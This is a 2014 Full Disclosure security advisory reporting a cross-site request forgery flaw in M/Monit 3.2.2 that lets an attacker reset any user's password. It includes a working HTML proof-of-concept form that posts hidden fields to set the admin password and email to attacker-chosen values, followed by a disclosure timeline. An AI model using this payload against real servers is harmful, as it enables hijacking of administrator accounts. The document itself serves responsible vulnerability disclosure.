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Message-Id: <em28e0e741-ad57-4859-8522-184ed5ae48b1@dolev-pc>
Date: Fri, 19 Sep 2014 06:34:42 +0000
From: "Dolev Farhi" <dolevf@...oo.com>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] M/Monit - Account hijacking via CSRF

Application: M/Monit 3.2.2
Author: Dolev Farhi @dolevff
Date: 13.9.2014
Relevant CVEs: CVE-2014-6409, CVE-2014-6607
Vulnerable version: <= 3.2.2

M/Monit is an Easy, proactive monitoring of Unix systems, network and 
cloud services.

1. Vulnerability Description:
Account hijack via cross-site request forgery (CVE-2014-6409, 
CVE-2014-6607)
It was found that M/Monit latest version is vulnerable to CSRF attacks. 
it is possible to reset the password of any user account (admin/user)
on the system without needing to know the current password of the 
attacked account, due to missing password change verification mechanism.
2. Proof of concept
<html> <div align="center"> <pre> <h2> CSRF poc M/monit </h2> <body> 
<form action="http://mmonit_server:8080/admin/users/update" 
method="POST"> <input type="hidden" name="fullname" 
value="Administrator" /> <input type="hidden" name="password" 
value="attacker_pass" /> <input type="hidden" name="email" 
value="attacker@...il.com" /> <input type="hidden" name="admin" 
value="on" /> <input type="hidden" name="uname" value="admin" /> <input 
type="submit" name="submit" value="submit" /> 	</form> 	</body> </div> 
</html>

3. Mitigation
Software vendor confirmed the issue, and a fix might be released in the 
future.
4. Time line:
15.9 - Found vulnerabilities
15.9 - Notified software vendor
15.9 - CVE Requested
17.9 - CVEs Assigned
18.9 - Vendor confirmed security issues,
           release will be released in the future
19.9 - public disclosure

- Discovered by Dolev Farhi, F5 Networks

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